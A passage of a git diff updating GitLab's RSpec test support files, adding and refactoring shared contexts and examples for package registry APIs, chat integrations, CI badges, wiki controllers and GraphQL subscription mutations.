+ let(:job) { create(:ci_build, :running, user: user, project: project) }
+ let(:job_token) { job.token }
let(:auth_token) { personal_access_token.token }
let(:project_deploy_token) { create(:project_deploy_token, deploy_token: deploy_token, project: project) }
diff --git a/spec/support/shared_contexts/requests/api/helm_packages_shared_context.rb b/spec/support/shared_contexts/requests/api/helm_packages_shared_context.rb
new file mode 100644
index 00000000000..099fdec0cc8
--- /dev/null
+++ b/spec/support/shared_contexts/requests/api/helm_packages_shared_context.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+RSpec.shared_context 'helm api setup' do
+ include WorkhorseHelpers
+ include PackagesManagerApiSpecHelpers
+ include HttpBasicAuthHelpers
+
+ let_it_be(:user) { create(:user) }
+ let_it_be(:personal_access_token) { create(:personal_access_token, user: user) }
+end
diff --git a/spec/support/shared_contexts/requests/api/npm_packages_shared_context.rb b/spec/support/shared_contexts/requests/api/npm_packages_shared_context.rb
index 815108be447..c737091df48 100644
--- a/spec/support/shared_contexts/requests/api/npm_packages_shared_context.rb
+++ b/spec/support/shared_contexts/requests/api/npm_packages_shared_context.rb
@@ -11,7 +11,7 @@ RSpec.shared_context 'npm api setup' do
let_it_be(:package, reload: true) { create(:npm_package, project: project, name: "@#{group.path}/scoped_package") }
let_it_be(:token) { create(:oauth_access_token, scopes: 'api', resource_owner: user) }
let_it_be(:personal_access_token) { create(:personal_access_token, user: user) }
- let_it_be(:job, reload: true) { create(:ci_build, user: user, status: :running) }
+ let_it_be(:job, reload: true) { create(:ci_build, user: user, status: :running, project: project) }
let_it_be(:deploy_token) { create(:deploy_token, read_package_registry: true, write_package_registry: true) }
let_it_be(:project_deploy_token) { create(:project_deploy_token, deploy_token: deploy_token, project: project) }
diff --git a/spec/support/shared_contexts/services/packages/debian/distribution_shared_context.rb b/spec/support/shared_contexts/services/packages/debian/distribution_shared_context.rb
new file mode 100644
index 00000000000..67e2c0629cc
--- /dev/null
+++ b/spec/support/shared_contexts/services/packages/debian/distribution_shared_context.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+RSpec.shared_context 'with published Debian package' do
+ let_it_be(:group) { create(:group, :public) }
+ let_it_be(:project) { create(:project, :public, group: group) }
+ let_it_be(:project_distribution) { create(:debian_project_distribution, container: project, codename: 'unstable', valid_time_duration_seconds: 48.hours.to_i) }
+ let_it_be(:package) { create(:debian_package, project: project, published_in: project_distribution) }
+end
+
+RSpec.shared_context 'with Debian distribution' do |container_type|
+ let_it_be(:container_type) { container_type }
+
+ if container_type == :project
+ let_it_be(:container) { project }
+ let_it_be(:distribution, reload: true) { project_distribution }
+ else
+ let_it_be(:container) { group }
+ let_it_be(:distribution, reload: true) { create(:debian_group_distribution, container: group, codename: 'unstable', valid_time_duration_seconds: 48.hours.to_i) }
+ end
+end
diff --git a/spec/support/shared_contexts/services_shared_context.rb b/spec/support/shared_contexts/services_shared_context.rb
deleted file mode 100644
index 34c92367efa..00000000000
--- a/spec/support/shared_contexts/services_shared_context.rb
+++ /dev/null
@@ -1,72 +0,0 @@
-# frozen_string_literal: true
-
-Integration.available_services_names.each do |service|
- RSpec.shared_context service do
- include JiraServiceHelper if service == 'jira'
-
- let(:dashed_service) { service.dasherize }
- let(:service_method) { "#{service}_service".to_sym }
- let(:service_klass) { Integration.service_name_to_model(service) }
- let(:service_instance) { service_klass.new }
- let(:service_fields) { service_instance.fields }
- let(:service_attrs_list) { service_fields.inject([]) {|arr, hash| arr << hash[:name].to_sym } }
- let(:service_attrs) do
- service_attrs_list.inject({}) do |hash, k|
- if k =~ /^(token*|.*_token|.*_key)/
- hash.merge!(k => 'secrettoken')
- elsif service == 'confluence' && k == :confluence_url
- hash.merge!(k => 'https://example.atlassian.net/wiki')
- elsif service == 'datadog' && k == :datadog_site
- hash.merge!(k => 'datadoghq.com')
- elsif k =~ /^(.*_url|url|webhook)/
- hash.merge!(k => "http://example.com")
- elsif service_klass.method_defined?("#{k}?")
- hash.merge!(k => true)
- elsif service == 'irker' && k == :recipients
- hash.merge!(k => 'irc://irc.network.net:666/#channel')
- elsif service == 'irker' && k == :server_port
- hash.merge!(k => 1234)
- elsif service == 'jira' && k == :jira_issue_transition_id
- hash.merge!(k => '1,2,3')
- elsif service == 'emails_on_push' && k == :recipients
- hash.merge!(k => 'foo@bar.com')
- elsif service == 'slack' || service == 'mattermost' && k == :labels_to_be_notified_behavior
- hash.merge!(k => "match_any")
- else
- hash.merge!(k => "someword")
- end
- end
- end
-
- let(:licensed_features) do
- {
- 'github' => :github_project_service_integration
- }
- end
-
- before do
- enable_license_for_service(service)
- stub_jira_service_test if service == 'jira'
- end
-
- def initialize_service(service, attrs = {})
- service_item = project.find_or_initialize_service(service)
- service_item.attributes = attrs
- service_item.properties = service_attrs
- service_item.save!
- service_item
- end
-
- private
-
- def enable_license_for_service(service)
- return unless respond_to?(:stub_licensed_features)
-
- licensed_feature = licensed_features[service]
- return unless licensed_feature
-
- stub_licensed_features(licensed_feature => true)
- project.clear_memoization(:disabled_services)
- end
- end
-end
diff --git a/spec/support/shared_contexts/single_change_access_checks_shared_context.rb b/spec/support/shared_contexts/single_change_access_checks_shared_context.rb
new file mode 100644
index 00000000000..bf90c26047b
--- /dev/null
+++ b/spec/support/shared_contexts/single_change_access_checks_shared_context.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+RSpec.shared_context 'change access checks context' do
+ let(:user) { create(:user) }
+ let(:project) { create(:project, :repository) }
+ let(:user_access) { Gitlab::UserAccess.new(user, container: project) }
+ let(:oldrev) { 'be93687618e4b132087f430a4d8fc3a609c9b77c' }
+ let(:newrev) { '54fcc214b94e78d7a41a9a8fe6d87a5e59500e51' }
+ let(:ref) { 'refs/heads/master' }
+ let(:changes) { { oldrev: oldrev, newrev: newrev, ref: ref } }
+ let(:protocol) { 'ssh' }
+ let(:timeout) { Gitlab::GitAccess::INTERNAL_TIMEOUT }
+ let(:logger) { Gitlab::Checks::TimedLogger.new(timeout: timeout) }
+ let(:change_access) do
+ Gitlab::Checks::SingleChangeAccess.new(
+ changes,
+ project: project,
+ user_access: user_access,
+ protocol: protocol,
+ logger: logger
+ )
+ end
+
+ subject { described_class.new(change_access) }
+
+ before do
+ project.add_developer(user)
+ end
+end
diff --git a/spec/support/shared_examples/ci/badge_template_shared_examples.rb b/spec/support/shared_examples/ci/badge_template_shared_examples.rb
new file mode 100644
index 00000000000..94aec33ecc2
--- /dev/null
+++ b/spec/support/shared_examples/ci/badge_template_shared_examples.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'a badge template' do |badge_type|
+ describe '#key_text' do
+ it "says #{badge_type} by default" do
+ expect(template.key_text).to eq(badge_type)
+ end
+
+ context 'when custom key_text is defined' do
+ before do
+ allow(badge).to receive(:customization).and_return({ key_text: "custom text" })
+ end
+
+ it 'returns custom value' do
+ expect(template.key_text).to eq("custom text")
+ end
+
+ context 'when its size is larger than the max allowed value' do
+ before do
+ allow(badge).to receive(:customization).and_return({ key_text: 't' * (::Gitlab::Ci::Badge::Template::MAX_KEY_TEXT_SIZE + 1) } )
+ end
+
+ it 'returns default value' do
+ expect(template.key_text).to eq(badge_type)
+ end
+ end
+ end
+ end
+
+ describe '#key_width' do
+ let_it_be(:default_key_width) { ::Gitlab::Ci::Badge::Template::DEFAULT_KEY_WIDTH }
+
+ it 'is fixed by default' do
+ expect(template.key_width).to eq(default_key_width)
+ end
+
+ context 'when custom key_width is defined' do
+ before do
+ allow(badge).to receive(:customization).and_return({ key_width: 101 })
+ end
+
+ it 'returns custom value' do
+ expect(template.key_width).to eq(101)
+ end
+
+ context 'when it is larger than the max allowed value' do
+ before do
+ allow(badge).to receive(:customization).and_return({ key_width: ::Gitlab::Ci::Badge::Template::MAX_KEY_WIDTH + 1 })
+ end
+
+ it 'returns default value' do
+ expect(template.key_width).to eq(default_key_width)
+ end
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb b/spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb
index cfee26a0d6a..9af35c189d0 100644
--- a/spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb
+++ b/spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb
@@ -298,7 +298,7 @@ RSpec.shared_examples 'wiki controller actions' do
expect(response.headers['Content-Disposition']).to match(/^inline/)
expect(response.headers[Gitlab::Workhorse::DETECT_HEADER]).to eq('true')
expect(response.cache_control[:public]).to be(false)
- expect(response.cache_control[:extras]).to include('no-store')
+ expect(response.headers['Cache-Control']).to eq('no-store')
end
end
end
@@ -486,7 +486,7 @@ RSpec.shared_examples 'wiki controller actions' do
end.not_to change { wiki.list_pages.size }
expect(response).to render_template('shared/wikis/edit')
- expect(assigns(:error).message).to eq('Could not delete wiki page')
+ expect(assigns(:error)).to eq('Could not delete wiki page')
end
end
end
diff --git a/spec/support/shared_examples/features/discussion_comments_shared_example.rb b/spec/support/shared_examples/features/discussion_comments_shared_example.rb
index 808e0be6be2..ff2878f77b4 100644
--- a/spec/support/shared_examples/features/discussion_comments_shared_example.rb
+++ b/spec/support/shared_examples/features/discussion_comments_shared_example.rb
@@ -11,6 +11,8 @@ RSpec.shared_examples 'thread comments for commit and snippet' do |resource_name
let(:comment) { 'My comment' }
it 'clicking "Comment" will post a comment' do
+ wait_for_all_requests
+
expect(page).to have_selector toggle_selector
find("#{form_selector} .note-textarea").send_keys(comment)
@@ -29,6 +31,8 @@ RSpec.shared_examples 'thread comments for commit and snippet' do |resource_name
find("#{form_selector} .note-textarea").send_keys(comment)
find(toggle_selector).click
+
+ wait_for_all_requests
end
it 'has a "Comment" item (selected by default) and "Start thread" item' do
diff --git a/spec/support/shared_examples/features/integrations/user_activates_mattermost_slash_command_integration_shared_examples.rb b/spec/support/shared_examples/features/integrations/user_activates_mattermost_slash_command_integration_shared_examples.rb
new file mode 100644
index 00000000000..cfa043322db
--- /dev/null
+++ b/spec/support/shared_examples/features/integrations/user_activates_mattermost_slash_command_integration_shared_examples.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'user activates the Mattermost Slash Command integration' do
+ it 'shows a help message' do
+ expect(page).to have_content('Use this service to perform common')
+ end
+
+ it 'shows a token placeholder' do
+ token_placeholder = find_field('service_token')['placeholder']
+
+ expect(token_placeholder).to eq('XXxxXXxxXXxxXXxxXXxxXXxx')
+ end
+
+ it 'redirects to the integrations page after saving but not activating' do
+ token = ('a'..'z').to_a.join
+
+ fill_in 'service_token', with: token
+ click_active_checkbox
+ click_save_integration
+
+ expect(current_path).to eq(edit_path)
+ expect(page).to have_content('Mattermost slash commands settings saved, but not active.')
+ end
+
+ it 'redirects to the integrations page after activating' do
+ token = ('a'..'z').to_a.join
+
+ fill_in 'service_token', with: token
+ click_save_integration
+
+ expect(current_path).to eq(edit_path)
+ expect(page).to have_content('Mattermost slash commands settings saved and active.')
+ end
+end
diff --git a/spec/support/shared_examples/features/issuable_invite_members_shared_examples.rb b/spec/support/shared_examples/features/issuable_invite_members_shared_examples.rb
index 736c353c2aa..c0cfc27ceaf 100644
--- a/spec/support/shared_examples/features/issuable_invite_members_shared_examples.rb
+++ b/spec/support/shared_examples/features/issuable_invite_members_shared_examples.rb
@@ -1,9 +1,12 @@
# frozen_string_literal: true
-RSpec.shared_examples 'issuable invite members experiments' do
+RSpec.shared_examples 'issuable invite members' do
context 'when a privileged user can invite' do
- it 'shows a link for inviting members and launches invite modal' do
+ before do
project.add_maintainer(user)
+ end
+
+ it 'shows a link for inviting members and launches invite modal' do
visit issuable_path
find('.block.assignee .edit-link').click
@@ -23,8 +26,11 @@ RSpec.shared_examples 'issuable invite members experiments' do
end
context 'when user cannot invite members in assignee dropdown' do
- it 'shows author in assignee dropdown and no invite link' do
+ before do
project.add_developer(user)
+ end
+
+ it 'shows author in assignee dropdown and no invite link' do
visit issuable_path
find('.block.assignee .edit-link').click
diff --git a/spec/support/shared_examples/features/variable_list_shared_examples.rb b/spec/support/shared_examples/features/variable_list_shared_examples.rb
index 4b94411f009..997500415a9 100644
--- a/spec/support/shared_examples/features/variable_list_shared_examples.rb
+++ b/spec/support/shared_examples/features/variable_list_shared_examples.rb
@@ -283,6 +283,8 @@ RSpec.shared_examples 'variable list' do
end
def fill_variable(key, value, protected: false, masked: false)
+ wait_for_requests
+
page.within('#add-ci-variable') do
find('[data-qa-selector="ci_variable_key_field"] input').set(key)
find('[data-qa-selector="ci_variable_value_field"]').set(value) if value.present?
diff --git a/spec/support/shared_examples/finders/assignees_filter_shared_examples.rb b/spec/support/shared_examples/finders/assignees_filter_shared_examples.rb
index 96b05db4cd9..5cbbed1468f 100644
--- a/spec/support/shared_examples/finders/assignees_filter_shared_examples.rb
+++ b/spec/support/shared_examples/finders/assignees_filter_shared_examples.rb
@@ -24,6 +24,12 @@ RSpec.shared_examples 'assignee NOT username filter' do
end
end
+RSpec.shared_examples 'assignee OR filter' do
+ it 'returns issuables assigned to the given users' do
+ expect(issuables).to contain_exactly(*expected_issuables)
+ end
+end
+
RSpec.shared_examples 'no assignee filter' do
let(:params) { { assignee_id: 'None' } }
diff --git a/spec/support/shared_examples/graphql/mutations/can_mutate_spammable_examples.rb b/spec/support/shared_examples/graphql/mutations/can_mutate_spammable_examples.rb
index fc795012ce7..5e15c91cd41 100644
--- a/spec/support/shared_examples/graphql/mutations/can_mutate_spammable_examples.rb
+++ b/spec/support/shared_examples/graphql/mutations/can_mutate_spammable_examples.rb
@@ -6,9 +6,9 @@ RSpec.shared_examples 'a mutation which can mutate a spammable' do
describe "#additional_spam_params" do
it 'passes additional spam params to the service' do
args = [
- anything,
- anything,
- hash_including(
+ project: anything,
+ current_user: anything,
+ params: hash_including(
api: true,
request: instance_of(ActionDispatch::Request),
captcha_response: captcha_response,
diff --git a/spec/support/shared_examples/graphql/mutations/resolves_subscription_shared_examples.rb b/spec/support/shared_examples/graphql/mutations/resolves_subscription_shared_examples.rb
index ebba312e895..678bb908343 100644
--- a/spec/support/shared_examples/graphql/mutations/resolves_subscription_shared_examples.rb
+++ b/spec/support/shared_examples/graphql/mutations/resolves_subscription_shared_examples.rb
@@ -2,44 +2,37 @@
require 'spec_helper'
-RSpec.shared_examples 'a subscribeable graphql resource' do
- let(:project) { resource.project }
- let_it_be(:user) { create(:user) }
-
- subject(:mutation) { described_class.new(object: nil, context: { current_user: user }, field: nil) }
+RSpec.shared_examples 'a subscribeable not accessible graphql resource' do
+ let(:mutation) { described_class.new(object: nil, context: { current_user: user }, field: nil) }
- specify { expect(described_class).to require_graphql_authorizations(permission_name) }
+ subject { mutation.resolve(project_path: resource.project.full_path, iid: resource.iid, subscribed_state: true) }
- describe '#resolve' do
- let(:subscribe) { true }
- let(:mutated_resource) { subject[resource.class.name.underscore.to_sym] }
-
- subject { mutation.resolve(project_path: resource.project.full_path, iid: resource.iid, subscribed_state: subscribe) }
+ it 'raises an error if the resource is not accessible to the user' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
+ end
+end
- it 'raises an error if the resource is not accessible to the user' do
- expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
- end
+RSpec.shared_examples 'a subscribeable graphql resource' do
+ let(:mutated_resource) { subject[resource.class.name.underscore.to_sym] }
+ let(:mutation) { described_class.new(object: nil, context: { current_user: user }, field: nil) }
+ let(:subscribe) { true }
- context 'when the user can update the resource' do
- before do
- resource.project.add_developer(user)
- end
+ subject { mutation.resolve(project_path: resource.project.full_path, iid: resource.iid, subscribed_state: subscribe) }
- it 'subscribes to the resource' do
- expect(mutated_resource).to eq(resource)
- expect(mutated_resource.subscribed?(user, project)).to eq(true)
- expect(subject[:errors]).to be_empty
- end
+ it 'subscribes to the resource' do
+ expect(mutated_resource).to eq(resource)
+ expect(mutated_resource.subscribed?(user, project)).to eq(true)
+ expect(subject[:errors]).to be_empty
+ end
- context 'when passing subscribe as false' do
- let(:subscribe) { false }
+ context 'when passing subscribe as false' do
+ let(:subscribe) { false }
- it 'unsubscribes from the discussion' do
- resource.subscribe(user, project)
+ it 'unsubscribes from the discussion' do
+ resource.subscribe(user, project)
- expect(mutated_resource.subscribed?(user, project)).to eq(false)
- end
- end
+ expect(mutated_resource.subscribed?(user, project)).to eq(false)
+ expect(subject[:errors]).to be_empty
end
end
end
diff --git a/spec/support/shared_examples/lib/gitlab/ci/ci_trace_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/ci/ci_trace_shared_examples.rb
index 9c95d1ff9d9..3760325675a 100644
--- a/spec/support/shared_examples/lib/gitlab/ci/ci_trace_shared_examples.rb
+++ b/spec/support/shared_examples/lib/gitlab/ci/ci_trace_shared_examples.rb
@@ -29,6 +29,34 @@ RSpec.shared_examples 'common trace features' do
end
end
+ describe '#read' do
+ context 'gitlab_ci_archived_trace_consistent_reads feature flag enabled' do
+ before do
+ stub_feature_flags(gitlab_ci_archived_trace_consistent_reads: trace.job.project)
+ end
+
+ it 'calls ::Gitlab::Database::LoadBalancing::Sticking.unstick_or_continue_sticking' do
+ expect(::Gitlab::Database::LoadBalancing::Sticking).to receive(:unstick_or_continue_sticking)
+ .with(described_class::LOAD_BALANCING_STICKING_NAMESPACE, trace.job.id)
+ .and_call_original
+
+ trace.read { |stream| stream }
+ end
+ end
+
+ context 'gitlab_ci_archived_trace_consistent_reads feature flag disabled' do
+ before do
+ stub_feature_flags(gitlab_ci_archived_trace_consistent_reads: false)
+ end
+
+ it 'does not call ::Gitlab::Database::LoadBalancing::Sticking.unstick_or_continue_sticking' do
+ expect(::Gitlab::Database::LoadBalancing::Sticking).not_to receive(:unstick_or_continue_sticking)
+
+ trace.read { |stream| stream }
+ end
+ end
+ end
+
describe '#extract_coverage' do
let(:regex) { '\(\d+.\d+\%\) covered' }
@@ -253,6 +281,52 @@ RSpec.shared_examples 'common trace features' do
describe '#archive!' do
subject { trace.archive! }
+ context 'when live trace chunks exists' do
+ before do
+ # Build a trace_chunk manually
+ # It is possible to do so with trace.set but only if ci_enable_live_trace FF is enabled
+ #
+ # We need the job to have a trace_chunk because we only use #stick in
+ # the case where trace_chunks exist.
+ stream = Gitlab::Ci::Trace::Stream.new do
+ Gitlab::Ci::Trace::ChunkedIO.new(trace.job)
+ end
+
+ stream.set(+"12\n34")
+ end
+
+ # We check the before setup actually sets up job trace_chunks
+ it 'has job trace_chunks' do
+ expect(trace.job.trace_chunks).to be_present
+ end
+
+ context 'gitlab_ci_archived_trace_consistent_reads feature flag enabled' do
+ before do
+ stub_feature_flags(gitlab_ci_archived_trace_consistent_reads: trace.job.project)
+ end
+
+ it 'calls ::Gitlab::Database::LoadBalancing::Sticking.stick' do
+ expect(::Gitlab::Database::LoadBalancing::Sticking).to receive(:stick)
+ .with(described_class::LOAD_BALANCING_STICKING_NAMESPACE, trace.job.id)
+ .and_call_original
+
+ subject
+ end
+ end
+
+ context 'gitlab_ci_archived_trace_consistent_reads feature flag disabled' do
+ before do
+ stub_feature_flags(gitlab_ci_archived_trace_consistent_reads: false)
+ end
+
+ it 'does not call ::Gitlab::Database::LoadBalancing::Sticking.stick' do
+ expect(::Gitlab::Database::LoadBalancing::Sticking).not_to receive(:stick)
+
+ subject
+ end
+ end
+ end
+
context 'when build status is success' do
let!(:build) { create(:ci_build, :success, :trace_live) }
diff --git a/spec/support/shared_examples/lib/gitlab/experimentation_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/experimentation_shared_examples.rb
new file mode 100644
index 00000000000..5baa6478225
--- /dev/null
+++ b/spec/support/shared_examples/lib/gitlab/experimentation_shared_examples.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'tracks assignment and records the subject' do |experiment, subject_type|
+ it 'tracks the assignment', :experiment do
+ expect(experiment(experiment))
+ .to track(:assignment)
+ .with_context(subject_type => subject)
+ .on_next_instance
+
+ action
+ end
+
+ it 'records the subject' do
+ stub_experiments(experiment => :candidate)
+
+ expect(Experiment).to receive(:add_subject).with(experiment.to_s, variant: :experimental, subject: subject)
+
+ action
+ end
+end
diff --git a/spec/support/shared_examples/models/chat_integration_shared_examples.rb b/spec/support/shared_examples/models/chat_integration_shared_examples.rb
new file mode 100644
index 00000000000..9f3be3e2e06
--- /dev/null
+++ b/spec/support/shared_examples/models/chat_integration_shared_examples.rb
@@ -0,0 +1,359 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples "chat integration" do |integration_name|
+ describe "Associations" do
+ it { is_expected.to belong_to :project }
+ it { is_expected.to have_one :service_hook }
+ end
+
+ describe "Validations" do
+ context "when integration is active" do
+ before do
+ subject.active = true
+ end
+
+ it { is_expected.to validate_presence_of(:webhook) }
+ it_behaves_like "issue tracker service URL attribute", :webhook
+ end
+
+ context "when integration is inactive" do
+ before do
+ subject.active = false
+ end
+
+ it { is_expected.not_to validate_presence_of(:webhook) }
+ end
+ end
+
+ describe '.supported_events' do
+ it 'does not support deployment_events' do
+ expect(described_class.supported_events).not_to include('deployment')
+ end
+ end
+
+ describe "#execute" do
+ let(:user) { create(:user) }
+ let(:project) { create(:project, :repository) }
+ let(:webhook_url) { "https://example.gitlab.com/" }
+
+ before do
+ allow(subject).to receive_messages(
+ project: project,
+ project_id: project.id,
+ service_hook: true,
+ webhook: webhook_url
+ )
+
+ WebMock.stub_request(:post, webhook_url)
+ end
+
+ shared_examples "triggered #{integration_name} integration" do |branches_to_be_notified: nil|
+ before do
+ subject.branches_to_be_notified = branches_to_be_notified if branches_to_be_notified
+ end
+
+ it "calls #{integration_name} API" do
+ result = subject.execute(sample_data)
+
+ expect(result).to be(true)
+ expect(WebMock).to have_requested(:post, webhook_url).once.with { |req|
+ json_body = Gitlab::Json.parse(req.body).with_indifferent_access
+ expect(json_body).to include(payload)
+ }
+ end
+ end
+
+ shared_examples "untriggered #{integration_name} integration" do |branches_to_be_notified: nil|
+ before do
+ subject.branches_to_be_notified = branches_to_be_notified if branches_to_be_notified
+ end
+
+ it "does not call #{integration_name} API" do
+ result = subject.execute(sample_data)
+
+ expect(result).to be(false)
+ expect(WebMock).not_to have_requested(:post, webhook_url)
+ end
+ end
+
+ context "with push events" do
+ let(:sample_data) do
+ Gitlab::DataBuilder::Push.build_sample(project, user)
+ end
+
+ it_behaves_like "triggered #{integration_name} integration"
+
+ it "specifies the webhook when it is configured", if: defined?(client) do
+ expect(client).to receive(:new).with(client_arguments).and_return(double(:chat_service).as_null_object)
+
+ subject.execute(sample_data)
+ end
+
+ context "with default branch" do
+ let(:sample_data) do
+ Gitlab::DataBuilder::Push.build(project: project, user: user, ref: project.default_branch)
+ end
+
+ context "when only default branch are to be notified" do
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "default"
+ end
+
+ context "when only protected branches are to be notified" do
+ it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "protected"
+ end
+
+ context "when default and protected branches are to be notified" do
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "default_and_protected"
+ end
+
+ context "when all branches are to be notified" do
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "all"
+ end
+ end
+
+ context "with protected branch" do
+ before do
+ create(:protected_branch, project: project, name: "a-protected-branch")
+ end
+
+ let(:sample_data) do
+ Gitlab::DataBuilder::Push.build(project: project, user: user, ref: "a-protected-branch")
+ end
+
+ context "when only default branch are to be notified" do
+ it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "default"
+ end
+
+ context "when only protected branches are to be notified" do
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "protected"
+ end
+
+ context "when default and protected branches are to be notified" do
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "default_and_protected"
+ end
+
+ context "when all branches are to be notified" do
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "all"
+ end
+ end
+
+ context "with neither default nor protected branch" do
+ let(:sample_data) do
+ Gitlab::DataBuilder::Push.build(project: project, user: user, ref: "a-random-branch")
+ end
+
+ context "when only default branch are to be notified" do
+ it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "default"
+ end
+
+ context "when only protected branches are to be notified" do
+ it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "protected"
+ end
+
+ context "when default and protected branches are to be notified" do
+ it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "default_and_protected"
+ end
+
+ context "when all branches are to be notified" do
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "all"
+ end
+ end
+ end
+
+ context "with issue events" do
+ let(:opts) { { title: "Awesome issue", description: "please fix" } }
+ let(:sample_data) do
+ service = Issues::CreateService.new(project: project, current_user: user, params: opts)
+ issue = service.execute
+ service.hook_data(issue, "open")
+ end
+
+ it_behaves_like "triggered #{integration_name} integration"
+ end
+
+ context "with merge events" do
+ let(:opts) do
+ {
+ title: "Awesome merge_request",
+ description: "please fix",
+ source_branch: "feature",
+ target_branch: "master"
+ }
+ end
+
+ let(:sample_data) do
+ service = MergeRequests::CreateService.new(project: project, current_user: user, params: opts)
+ merge_request = service.execute
+ service.hook_data(merge_request, "open")
+ end
+
+ before do
+ project.add_developer(user)
+ end
+
+ it_behaves_like "triggered #{integration_name} integration"
+ end
+
+ context "with wiki page events" do
+ let(:opts) do
+ {
+ title: "Awesome wiki_page",
+ content: "Some text describing some thing or another",
+ format: "md",
+ message: "user created page: Awesome wiki_page"
+ }
+ end
+
+ let(:wiki_page) { create(:wiki_page, wiki: project.wiki, **opts) }
+ let(:sample_data) { Gitlab::DataBuilder::WikiPage.build(wiki_page, user, "create") }
+
+ it_behaves_like "triggered #{integration_name} integration"
+ end
+
+ context "with note events" do
+ let(:sample_data) { Gitlab::DataBuilder::Note.build(note, user) }
+
+ context "with commit comment" do
+ let(:note) do
+ create(:note_on_commit,
+ author: user,
+ project: project,
+ commit_id: project.repository.commit.id,
+ note: "a comment on a commit")
+ end
+
+ it_behaves_like "triggered #{integration_name} integration"
+ end
+
+ context "with merge request comment" do
+ let(:note) do
+ create(:note_on_merge_request, project: project, note: "merge request note")
+ end
+
+ it_behaves_like "triggered #{integration_name} integration"
+ end
+
+ context "with issue comment" do
+ let(:note) do
+ create(:note_on_issue, project: project, note: "issue note")
+ end
+
+ it_behaves_like "triggered #{integration_name} integration"
+ end
+
+ context "with snippet comment" do
+ let(:note) do
+ create(:note_on_project_snippet, project: project, note: "snippet note")
+ end
+
+ it_behaves_like "triggered #{integration_name} integration"
+ end
+ end
+
+ context "with pipeline events" do
+ let(:pipeline) do
+ create(:ci_pipeline,
+ project: project, status: status,
+ sha: project.commit.sha, ref: project.default_branch)
+ end
+
+ let(:sample_data) { Gitlab::DataBuilder::Pipeline.build(pipeline) }
+
+ context "with failed pipeline" do
+ let(:status) { "failed" }
+
+ it_behaves_like "triggered #{integration_name} integration"
+ end
+
+ context "with succeeded pipeline" do
+ let(:status) { "success" }
+
+ context "with default notify_only_broken_pipelines" do
+ it "does not call #{integration_name} API" do
+ result = subject.execute(sample_data)
+
+ expect(result).to be_falsy
+ end
+ end
+
+ context "when notify_only_broken_pipelines is false" do
+ before do
+ subject.notify_only_broken_pipelines = false
+ end
+
+ it_behaves_like "triggered #{integration_name} integration"
+ end
+ end
+
+ context "with default branch" do
+ let(:sample_data) do
+ Gitlab::DataBuilder::Push.build(project: project, user: user, ref: project.default_branch)
+ end
+
+ context "when only default branch are to be notified" do
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "default"
+ end
+
+ context "when only protected branches are to be notified" do
+ it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "protected"
+ end
+
+ context "when default and protected branches are to be notified" do
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "default_and_protected"
+ end
+
+ context "when all branches are to be notified" do
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "all"
+ end
+ end
+
+ context "with protected branch" do
+ before do
+ create(:protected_branch, project: project, name: "a-protected-branch")
+ end
+
+ let(:sample_data) do
+ Gitlab::DataBuilder::Push.build(project: project, user: user, ref: "a-protected-branch")
+ end
+
+ context "when only default branch are to be notified" do
+ it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "default"
+ end
+
+ context "when only protected branches are to be notified" do
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "protected"
+ end
+
+ context "when default and protected branches are to be notified" do
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "default_and_protected"
+ end
+
+ context "when all branches are to be notified" do
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "all"
+ end
+ end
+
+ context "with neither default nor protected branch" do
+ let(:sample_data) do
+ Gitlab::DataBuilder::Push.build(project: project, user: user, ref: "a-random-branch")
+ end
+
+ context "when only default branch are to be notified" do
+ it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "default"
+ end
+
+ context "when only protected branches are to be notified" do
+ it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "protected"
+ end
+
+ context "when default and protected branches are to be notified" do
+ it_behaves_like "untriggered #{integration_name} integration", branches_to_be_notified: "default_and_protected"
+ end
+
+ context "when all branches are to be notified" do
+ it_behaves_like "triggered #{integration_name} integration", branches_to_be_notified: "all"
+ end
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/models/chat_service_shared_examples.rb b/spec/support/shared_examples/models/chat_service_shared_examples.rb
deleted file mode 100644
index 4a47aad0957..00000000000
--- a/spec/support/shared_examples/models/chat_service_shared_examples.rb
+++ /dev/null
@@ -1,359 +0,0 @@
-# frozen_string_literal: true
-
-RSpec.shared_examples "chat service" do |service_name|
- describe "Associations" do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
